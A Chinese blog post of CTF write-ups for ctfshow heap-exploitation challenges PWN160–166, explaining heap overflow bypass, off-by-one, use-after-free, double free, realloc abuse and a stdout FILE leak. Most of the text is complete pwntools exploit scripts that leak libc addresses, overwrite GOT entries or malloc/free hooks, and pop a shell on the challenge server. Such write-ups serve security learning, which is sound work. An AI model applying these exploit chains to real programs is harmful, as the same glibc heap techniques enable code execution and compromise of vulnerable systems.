ctfshow [堆利用]-----160-180题持续更新

嘿嘿嘿!还是先摆在这里,有时间就更新。

PWN160

先分析一波
这里free函数和show函数都没有什么问题,add()函数的前半段没有什么问题,问题出在edit()函数中。
芜湖

红色圈起来的就是漏洞点了。
这里是进行地址的判断,不要分析错了。因为我们add()的时候会创建2个chunk,第一个是我们要创建的chunk,第二个是系统要创建的chunk
这段代码的主要意思就是,我们创建的chunk的地址加上Size的大小,要小于系统创建的chunk-0x4

首先先创建3个chunk,如下

add(0x80,b"aaaa",0x80,b"bbbb")
add(0x80,b"aaaa",0x80,b"bbbb")
add(0x80,b"aaaa",0x80,b"/bin/sh;")

芜湖

现在分析就是,这段代码意思是0x8ee0008+size >= 0x8ee0090-0x4时就会报错退出。

这表明上是防止了堆溢出,但如果我们将系统创建的chunk和我们创建的chunk分开,那么就能绕过这个判断

绕过代码如下:

add(0x80,b"aaaa",0x80,b"bbbb")
add(0x80,b"aaaa",0x80,b"bbbb")
add(0x80,b"aaaa",0x80,b"/bin/sh;")


free(0)
add(0x100,b"vvvv",0x100,b"gggg")

重新申请后堆的分布就变了,我们创建的chunk在最顶部,而系统创建的chunk在最下面。那么就能绕过 我们创建的chunk的地址加上Size的大小,要小于系统创建的chunk-0x4这个判断。
芜湖

剩下的自己动手调试。

完整exp

from pwn import *
from LibcSearcher import *

# context(log_level='debug',arch='i386', os='linux')
context(log_level='debug',arch='amd64', os='linux')


pwnfile = "./pwn"
io = remote("pwn.challenge.ctf.show", 28294)
# io = process(pwnfile)
elf = ELF(pwnfile)
libc = ELF("./libc/buu_libc-2.23_32.so")

s       = lambda data               :io.send(data)
sa      = lambda delim,data         :io.sendafter(delim, data)
sl      = lambda data               :io.sendline(data)
sla     = lambda delim,data         :io.sendlineafter(delim, data)
r       = lambda num=4096           :io.recv(num)
ru      = lambda delims		    :io.recvuntil(delims)
itr     = lambda                    :io.interactive()
uu32    = lambda data               :u32(data.ljust(4,b'\x00'))
uu64    = lambda data               :u64(data.ljust(8,b'\x00'))
leak    = lambda name,addr          :log.success('{} = {:#x}'.format(name, addr))
lg      = lambda address,data       :log.success('%s: '%(address)+hex(data))

gadget = [0x45216,0x4526a,0xf02a4,0xf1147]

def add(size,data,size1,data1):
	sla(b"Action: ",b"0")
	ru(b"size of description: ")
	sl(str(size))
	ru(b"name: ")
	sl(data)
	ru(b"text length: ")
	sl(str(size1))
	ru(b"text: ")
	sl(data1)

def  free(idx):
	sla(b"Action: ",b"1")
	sla(b"index: ",str(idx))

def show(idx):
	sla(b"Action: ",b"2")
	sla(b"index: ",str(idx))

def edit(idx,size,data):
	sla(b"Action: ",b"3")
	sla(b"index: ",str(idx))
	ru(b"text length: ")
	sl(str(size))
	ru(b"text: ")
	sl(data)


free_got = elf.got['free']

add(0x80,b"aaaa",0x80,b"bbbb")
add(0x80,b"aaaa",0x80,b"bbbb")
add(0x80,b"aaaa",0x80,b"/bin/sh;")


free(0)
add(0x100,b"vvvv",0x100,b"gggg")


edit(3,0x200,b"a"*0x108+p32(0)+p32(0x89)+b"a"*0x80+p32(0)+p32(0x89)+p32(free_got))
show(1)
free_addr = u32(io.recvuntil(b"\xf7")[-4:].ljust(4,b"\x00"))
libc_base = free_addr-libc.sym['free']
print("libc_base",hex(libc_base))
system_addr = libc_base+libc.sym['system']
edit(1,0x8,p32(system_addr))
free(2)


# gdb.attach(io)

itr()

PWN161

直接从漏洞点也就是edit()函数开始分析吧。
如下图:
芜湖

芜湖
如上图红色标注的就是漏洞点,并不难理解,就是当我们编辑chunk时再次输入的大小减去这个chunk之前创建时输入的大小,如果两者相减为10那么就会导致我们可以多输入一个字节。这就形成了off-by-one漏洞
off-by-one漏洞你们可以自己去网上搜索怎么利用。我这里是用堆叠泄露出libc的地址,然后改写malloc_hook
最终exp如下。

一定一定一定要自己动手调试!!!

from pwn import *
from LibcSearcher import *

# context(log_level='debug',arch='i386', os='linux')
context(log_level='debug',arch='amd64', os='linux')


pwnfile = "./pwn"
io = remote("pwn.challenge.ctf.show", 28183)
# io = process(pwnfile)
elf = ELF(pwnfile)
libc = ELF("./libc/buu_libc-2.23.so")

s       = lambda data               :io.send(data)
sa      = lambda delim,data         :io.sendafter(delim, data)
sl      = lambda data               :io.sendline(data)
sla     = lambda delim,data         :io.sendlineafter(delim, data)
r       = lambda num=4096           :io.recv(num)
ru      = lambda delims		    :io.recvuntil(delims)
itr     = lambda                    :io.interactive()
uu32    = lambda data               :u32(data.ljust(4,b'\x00'))
uu64    = lambda data               :u64(data.ljust(8,b'\x00'))
leak    = lambda name,addr          :log.success('{} = {:#x}'.format(name, addr))
lg      = lambda address,data       :log.success('%s: '%(address)+hex(data))

gadget = [0x45216,0x4526a,0xf02a4,0xf1147]

def add(size):
	sla(b"Choice: ",b"1")
	sla(b"size: ",str(size))


def edit(idx,size,data):
	sla(b"Choice: ",b"2")
	ru(b"index: ")
	sl(str(idx))
	ru(b"size: ")
	sl(str(size))
	ru(b"content: ")
	s(data)

def free(idx):
	sla(b"Choice: ",b"3")
	sla(b"index: ",str(idx))

def show(idx):
	sla(b"Choice: ",b"4")
	sla(b"index: ",str(idx))


add(0x18) #0
add(0x68) #1
add(0x68) #2
add(0x68) #3

	
payload = b"a"*0x18+b"\xe1"
edit(0,0x18+10,payload)
free(1)
add(0x88)
show(2)

main_arena = u64(io.recvuntil(b"\x7f")[-6:].ljust(8,b"\x00"))
malloc_hook = main_arena-0x10-88
libc_base = malloc_hook-libc.sym["__malloc_hook"]
fake_chunk = malloc_hook-0x23
realloc = libc_base+libc.sym["realloc"]

one_gadget = libc_base+gadget[1]
print("libc_base",hex(libc_base))

payload = p64(0)*0xd+p64(0x71)
edit(1,len(payload),payload)
free(2)
payload = p64(0)*0xd+p64(0x71)+p64(fake_chunk)
edit(1,len(payload),payload)
add(0x68)
add(0x68)

payload = b"a"*3+p64(0)+p64(one_gadget)+p64(realloc+16)
edit(4,len(payload),payload)
add(0x10)


# gdb.attach(io)

itr()

PWN162

高考完还有练车,太悲催了!!!!

本题知识点: 劫持_IO_2_1_stdout_泄露libc,UAF

还是老样子,保护全开。
本题只有两个实际可以用的函数,一个是add函数,一个是delete函数,这里的view函数看似无用实则有大用。下面开始分析。

#add函数
芜湖

反汇编代码不难理解,给我们分配了两个堆一个是0x28系统分的,一个是我们要的。这里无漏洞

#delete
芜湖
这里free了之后没有把指针清空,存在UAF漏洞,但又与平常的UAF不同,这里还把FD指针给置0了。所以再我们拿到unsortedbin之后的main_arean地址时不能按常规方法使用double free

因为这里要利用_IO_2_1_stdout_泄露libc,所以要能知道stdout的偏移。直接把我们的libc拖到ida中就能查看。
芜湖

下面开始讲解解题过程。

offset = b"\xDD\x55"
add(0x20,b"aaaa",b"aaaa")  #0
add(0x68,b"aaaa",b"aaaa")  #1
add(0x68,b"aaaa",b"aaaa")  #2
add(0x7f,b"aaaa",b"aaaa")   #3
add(0x18,b"aaaa",b"aaaa")   #4

free(0)
free(3)

下面会解释为什么是0xdd0x55
调试结果如下
芜湖
然后在运行如下代码

add(0x60,offset,offset)  #5

free(1)
free(2)
free(1)
add(0x68,b"\xd0",b"\xd0")  #6
add(0x68,b"\xd0",b"\xd0")  #7
add(0x68,b"\xd0",b"\xd0")  #8
add(0x68,b"\xd0",b"\xd0")  #9

这里写0xd0是因为我们不能直接double free来写fd指针,因为free时把我们的fd会清空写了也是白写。然后写0xd0相当于我们伪造了FD指向的chunk

如下图
芜湖
这里也是指向了以0xd0结尾的chunk,说明我们伪造成功了。

接下来

sla(b"Your choice : ",b"1")
sla(b"size of the daniu's name: ",str(0x68))
sa(b"daniu's name:",b'A'*0x33 + p64(0xfbad1800) + p64(0)*3 + b'\x00')

这里我可以看到我们成功写到了_IO_stdout附近
芜湖
然后我们再来看\xdd\x55处的情况
芜湖
这就是我们申请到的地方,可以看到我们已经改写成功了。至于为什么是\xdd\x55,如下图
芜湖
这里可以看到stdout后三位是0x620,这三位是不变的,但我们fastbin attack时会检查size位,所以我们不能把地址申请到这里,但如果将chunk申请到0x620-0x43处,会如何,如下图
芜湖
这样看到正是\xdd处,所以\xdd\x55是算出来的当然也不一定要是这个也可以是\xdd\x75等等但必须保证最后三位是0x5dd


这里看着好像除了flag都没改,其实已经改过了,具体的可以b _int_malloc 然后fin去看

p _IO_list_all
p (*(struct _IO_FILE_plus *)0x7f4188fc5540)
p (*(struct _IO_jump_t *)(0x556306725500+0xd8))

接下来就是正常的流程了,和前几题一样

完整的EXP是(本地的):

from pwn import *
from LibcSearcher import *

# context(log_level='debug',arch='i386', os='linux')
context(log_level='debug',arch='amd64', os='linux')


pwnfile = "./pwn"
# io = remote("pwn.challenge.ctf.show", 28237)
io = process(pwnfile)
elf = ELF(pwnfile)
libc = ELF("./libc/libc-2.23.so")

s       = lambda data               :io.send(data)
sa      = lambda delim,data         :io.sendafter(delim, data)
sl      = lambda data               :io.sendline(data)
sla     = lambda delim,data         :io.sendlineafter(delim, data)
r       = lambda num=4096           :io.recv(num)
ru      = lambda delims		    :io.recvuntil(delims)
itr     = lambda                    :io.interactive()
uu32    = lambda data               :u32(data.ljust(4,b'\x00'))
uu64    = lambda data               :u64(data.ljust(8,b'\x00'))
leak    = lambda name,addr          :log.success('{} = {:#x}'.format(name, addr))
lg      = lambda address,data       :log.success('%s: '%(address)+hex(data))

gadget = [0x45226,0x4527a,0xf03a4,0xf1247]

def add(size,data,data1):
	sla(b"Your choice : ",b"1")
	sla(b"size of the daniu's name: ",str(size))
	sa(b"daniu's name:",data)
	sa(b"daniu's message:",data1)
	sl(b"2")
	
def free(idx):
	sla(b"Your choice : ",b"3")
	sla(b"daniu's index:",str(idx))

#==================================================================================
#利用_IO_file泄露libc地址


offset = b"\xDD\x55"

add(0x20,b"aaaa",b"aaaa")  #0
add(0x68,b"aaaa",b"aaaa")  #1
add(0x68,b"aaaa",b"aaaa")  #2
add(0x7f,b"aaaa",b"aaaa")   #3
add(0x18,b"aaaa",b"aaaa")   #4

free(0)
free(3)

add(0x60,offset,offset)  #5

free(1)
free(2)
free(1)
add(0x68,b"\xd0",b"\xd0")  #6
add(0x68,b"\xd0",b"\xd0")  #7
add(0x68,b"\xd0",b"\xd0")  #8
add(0x68,b"\xd0",b"\xd0")  #9


sla(b"Your choice : ",b"1")
sla(b"size of the daniu's name: ",str(0x68))
sa(b"daniu's name:",b'A'*0x33 + p64(0xfbad1800) + p64(0)*3 + b'\x00')

libc_base = u64(io.recvuntil(b"\x7f")[-6:].ljust(8,b"\x00"))
libc_base = libc_base-libc.sym['_IO_2_1_stderr_'] - 192
malloc_hook = libc_base+libc.sym['__malloc_hook']
realloc_hook = libc_base+libc.sym['realloc']
fake_chunk = malloc_hook-0x23
one_gadget = libc_base+gadget[1]

print("libc_base------------------>: ",hex(libc_base))
sla(b"daniu's message:",b"1")


#================================================================================
#利用double free改fd指针,使其指向我们伪造的fake_chunk

free(1)
free(2)
free(1)

add(0x68,p64(fake_chunk),b"aaaa")
add(0x68,b"a",b"a")
add(0x68,b"a",b"a")

#===============================================================================
#shell

add(0x68,b"a"*(0x13-8)+p64(one_gadget)+p64(realloc_hook+8),b"a")
sla(b"Your choice : ",b"1")


itr()

注意这是我本地打的,远程打的自己要换libc。而且这是1/16的概率。
要一直打才能成功。本人至少打了30多次才成功比较概率太小了。

PWN163

和pwn161一样的题。

from pwn import *
from LibcSearcher import *

# context(log_level='debug',arch='i386', os='linux')
context(log_level='debug',arch='amd64', os='linux')


pwnfile = "./pwn"
io = remote("pwn.challenge.ctf.show", 28258)
# io = process(pwnfile)
elf = ELF(pwnfile)
libc = ELF("./libc/buu_libc-2.23-64.so")

s       = lambda data               :io.send(data)
sa      = lambda delim,data         :io.sendafter(delim, data)
sl      = lambda data               :io.sendline(data)
sla     = lambda delim,data         :io.sendlineafter(delim, data)
r       = lambda num=4096           :io.recv(num)
ru      = lambda delims		    :io.recvuntil(delims)
itr     = lambda                    :io.interactive()
uu32    = lambda data               :u32(data.ljust(4,b'\x00'))
uu64    = lambda data               :u64(data.ljust(8,b'\x00'))
leak    = lambda name,addr          :log.success('{} = {:#x}'.format(name, addr))
lg      = lambda address,data       :log.success('%s: '%(address)+hex(data))

gadget = [0x45216,0x4526a,0xf02a4,0xf1147]


def add(size):
	sla(b"Command: ",b"1")
	sla(b"Size: ",str(size))

def edit(idx,data):
	sla(b"Command: ",b"2")
	sla(b"Index: ",str(idx))
	sla(b"Size: ",str(len(data)))
	ru(b"Content: ")
	sl(data)

def free(idx):
	sla(b"Command: ",b"3")
	sla(b"Index: ",str(idx))


def show(idx):
	sla(b"Command: ",b"4")
	sla(b"Index: ",str(idx))

add(0x40)
add(0x40)
add(0x40)
add(0x60)

payload = b"a"*0x40+p64(0)+p64(0xa1)
edit(0,payload)

free(1)
add(0x40)
show(2)
main_arean = u64(io.recvuntil(b"\x7f")[-6:].ljust(8,b"\x00"))
malloc_hook = main_arean-0x10-88
libc_base = malloc_hook-libc.sym['__malloc_hook']
fake_chunk = malloc_hook-0x23
one_gadget = libc_base+gadget[1]
realloc = libc_base+libc.sym['realloc']
print("libc_base------------_>>: ",hex(libc_base))

free(3)
edit(2,b"a"*0x40+p64(0)+p64(0x71)+p64(fake_chunk))
add(0x60)
add(0x60)
edit(4,b"a"*(0x13-8)+p64(one_gadget)+p64(realloc+8))
add(0x10)



itr()

PWN164

这题用的是realloc分配内存。

realloc(void* ptr, size_t size)

关于realloc有几个重要的知识点。

  1. void* ptr 为空(0)时,相当于 malloc 函数,直接返回内存地址。
  2. size_t size 为0时时,相当于 free 函数,一定程度上可以防止合并。
  3. new size_t size 小于 等于原来的size_t size,则在原先的基础上缩小,多余的free
  4. new size_t size 大于 原来的** size_t size**,如果有空间就原基础扩充,空间不足则分配新的内存,将内容复制到新的内存中,然后再将原来的内存free掉

关于 realloc的详细介绍,看这位大佬的blog: realloc相关知识点

解题

本题就两个函数一个realloc,一个free函数。很简单

在realloc的时候,因为每次都是使用realloc_ptr,并且没有变化,导致每次申请的的chunk都会写在在
realloc_ptr指向的地址,再次申请比上一次的size大就可以往后溢

利用思路就是:

通过realloc,和UAF,布局tcache。然后把_IO_2_1_stdout 链到bin里面,通过stdout泄露libc,然后打free_hook

首先:

offset = b"\x60\xc7"

add(0x20,b"a") #chunk0,这个是为了后面溢出修改main_arena为_IO_2_1_stdout_准备
add(0,b"")

add(0x90,b"a")
add(0,b"")

add(0x10,b"a")  #这个是为了防止与topchunk合并
add(0,b"")

其次:

add(0x90,b"a")
for i in range(7):
	free()

add(0,b"")

芜湖

这里首先将0x90的地址申请回来, 赋值给realloc_ptr , 在通过uaf,tcache double free 7次,填满tcache bins。然后再free第8次也就是add(0,b"")使0x90进入unsorted bin。把main_arena链进来

至于第8次为什么使用realloc来free,为不是直接用free函数?
因为首先是因为用来链上unsortedbin,其次用来清空掉realloc_ptr指针,不影响后面chunk的使用

add(0x20,b"aaa")

然后把chunk0,申请回来,之后我们在申请一个0x50大小的chunk,由realloc机制可以知道会先在chunk0的基础上扩展0x30的大小,然后把原来的内存free掉。

申请的0x50是因为能刚好申请到更改unsortedbin的范围

payload = p64(0)*5+p64(0x81)+offset     #这里写0x81是为了后面我们申请回0xa0的chunk后,再次add(0,b"")时它不会进入0xa0大小的bins
add(0x50,payload)

芜湖
芜湖

这里可以看到也是成功改成了_IO_2_1_stdout_的地址了

然后:

add(0,b"")
add(0x90,b"aa")
add(0,b"")
payload = p64(0xfbad1800) + p64(0)*3 + b'\x00'
add(0x90,payload)

芜湖
这里利用IO把_IO_read_xx用p64(0)填充掉,然后利用_IO_write_base设置指向想要泄露位置,我这里是\x00也就是0x00007f518f7ec700这个位置的内容,如图圈起来的就是泄露出来的地址。

计算libc的地址

#######################################################
#    Leak libc

libc_addr = u64(io.recvuntil(b"\x7f")[-6:].ljust(8,b"\x00"))
libc_base = libc_addr+0x40-libc.sym['__malloc_initialize_hook']
free_hook = libc_base+libc.sym['__free_hook']
system_addr = libc_base+libc.sym['system']

print("libc_base------------>: ",hex(libc_base))

之后就是仿照上面的内容,重新构造double free来打free hook

##attack 


sla(b"Choice:",b"1433233")

add(0x30,b"a")
add(0,b"")
add(0xa0,b"a")
add(0,b"")
add(0x10,b"a")
add(0,b"")

add(0xa0,b"a")
for i in range(7):
	free()
add(0,b"")
add(0x30,b"aaa")
payload = p64(0)*7+p64(0x81)+p64(free_hook-8)
add(0x80,payload)
add(0,b"")
add(0xa0,b"a")
add(0,b"")
add(0xa0,b"/bin/sh;"+p64(system_addr))
free()

完整的exp为:

from pwn import *
from LibcSearcher import *

# context(log_level='debug',arch='i386', os='linux')
context(log_level='debug',arch='amd64', os='linux')


pwnfile = "./pwn"
io = remote("pwn.challenge.ctf.show", 28203)
# io = process(pwnfile)
elf = ELF(pwnfile)
libc = ELF("./libc/libc-2.27.so")

s       = lambda data               :io.send(data)
sa      = lambda delim,data         :io.sendafter(delim, data)
sl      = lambda data               :io.sendline(data)
sla     = lambda delim,data         :io.sendlineafter(delim, data)
r       = lambda num=4096           :io.recv(num)
ru      = lambda delims		    :io.recvuntil(delims)
itr     = lambda                    :io.interactive()
uu32    = lambda data               :u32(data.ljust(4,b'\x00'))
uu64    = lambda data               :u64(data.ljust(8,b'\x00'))
leak    = lambda name,addr          :log.success('{} = {:#x}'.format(name, addr))
lg      = lambda address,data       :log.success('%s: '%(address)+hex(data))

gadget = [0x45216,0x4526a,0xf02a4,0xf1147]


def add(size,data):
	sla(b"Choice:",b"1")
	sla(b"Size?",str(size))
	ru(b"Content?")
	s(data)


def free():
	sla(b"Choice:",b"2")

def pwn():
	offset = b"\x60\xc7"


	add(0x20,b"a") #这个是为了后面溢出修改main_arena为_IO_2_1_stdout_准备
	add(0,b"")

	add(0x90,b"a")
	add(0,b"")

	add(0x10,b"a") 
	add(0,b"")


	add(0x90,b"a")
	for i in range(7):
		free()

	add(0,b"")

	add(0x20,b"aaa")
	payload = p64(0)*5+p64(0x81)+offset
	add(0x50,payload)

	#######################################################
	#    Leak libc

	add(0,b"")
	add(0x90,b"aa")
	add(0,b"")
	payload = p64(0xfbad1800) + p64(0)*3 + b'\x00'
	add(0x90,payload)

	libc_addr = u64(io.recvuntil(b"\x7f")[-6:].ljust(8,b"\x00"))
	libc_base = libc_addr+0x40-libc.sym['__malloc_initialize_hook']
	free_hook = libc_base+libc.sym['__free_hook']
	system_addr = libc_base+libc.sym['system']

	print("libc_base------------>: ",hex(libc_base))

	##attack 


	sla(b"Choice:",b"1433233")

	add(0x30,b"a")
	add(0,b"")
	add(0xa0,b"a")
	add(0,b"")
	add(0x10,b"a")
	add(0,b"")

	add(0xa0,b"a")
	for i in range(7):
		free()
	add(0,b"")
	add(0x30,b"aaa")
	payload = p64(0)*7+p64(0x81)+p64(free_hook-8)
	add(0x80,payload)
	add(0,b"")
	add(0xa0,b"a")
	add(0,b"")
	add(0xa0,b"/bin/sh;"+p64(system_addr))
	free()

# gdb.attach(io)


pwn()

itr()

PWN165

(最近一直练车,一练就是一整天,太累了。要动脑子的题就先不做。以后再说。)

PWN166

很基础的double free。最多10分钟就能搞定。不懂的自己百度double free。

from pwn import *
from LibcSearcher import *

# context(log_level='debug',arch='i386', os='linux')
context(log_level='debug',arch='amd64', os='linux')


pwnfile = "./pwn"
io = remote("pwn.challenge.ctf.show", 28138)
# io = process(pwnfile)
elf = ELF(pwnfile)
libc = ELF("./libc/buu_libc-2.23-64.so")

s       = lambda data               :io.send(data)
sa      = lambda delim,data         :io.sendafter(delim, data)
sl      = lambda data               :io.sendline(data)
sla     = lambda delim,data         :io.sendlineafter(delim, data)
r       = lambda num=4096           :io.recv(num)
ru      = lambda delims		    :io.recvuntil(delims)
itr     = lambda                    :io.interactive()
uu32    = lambda data               :u32(data.ljust(4,b'\x00'))
uu64    = lambda data               :u64(data.ljust(8,b'\x00'))
leak    = lambda name,addr          :log.success('{} = {:#x}'.format(name, addr))
lg      = lambda address,data       :log.success('%s: '%(address)+hex(data))

gadget = [0x45216,0x4526a,0xf02a4,0xf1147]



def add(size,data,idx):
	sla("Input your choice:",b"1")
	sla(b"Please input the size of the flag",str(size))
	ru(b"please input the flag name:")
	s(data)
	sla(b"please input the flag idx:",str(idx))

def show(idx):
	sla("Input your choice:",b"2")
	sla(b"Please input the index:",str(idx))


def edit():
	sla("Input your choice:",b"3")


def free(idx):
	sla("Input your choice:",b"4")
	sla(b"Please input the index:",str(idx))


add(0x80,b"aaaa",0)
add(0x60,b"aaaa",1)
add(0x60,b"aaaa",2)

free(0)
add(0x60,b"\x78",3)
show(3)

main_arena = u64(io.recvuntil(b"\x7f")[-6:].ljust(8,b"\x00"))
malloc_hook = main_arena-0x10-88
fake_chunk = malloc_hook-0x23
libc_base = malloc_hook-libc.sym['__malloc_hook']
realloc_hook = libc_base+libc.sym['realloc']
one_gadget = libc_base+gadget[3]


print(b"libc_base-------------_<: ",hex(libc_base))

free(1)
free(2)
free(1)

add(0x60,p64(fake_chunk),4)
add(0x60,b"aaaaa",5)
add(0x60,b"aaaaa",6)
add(0x60,b"a"*(0x13-8)+p64(one_gadget)+p64(realloc_hook+8),7)
sla("Input your choice:",b"1")



# gdb.attach(io)


itr()

评论 9
成就一亿技术人!
拼手气红包6.0元
还能输入1000个字符
 
红包 添加红包
表情包 插入表情
 条评论被折叠 查看
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

saulgoodman-q

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值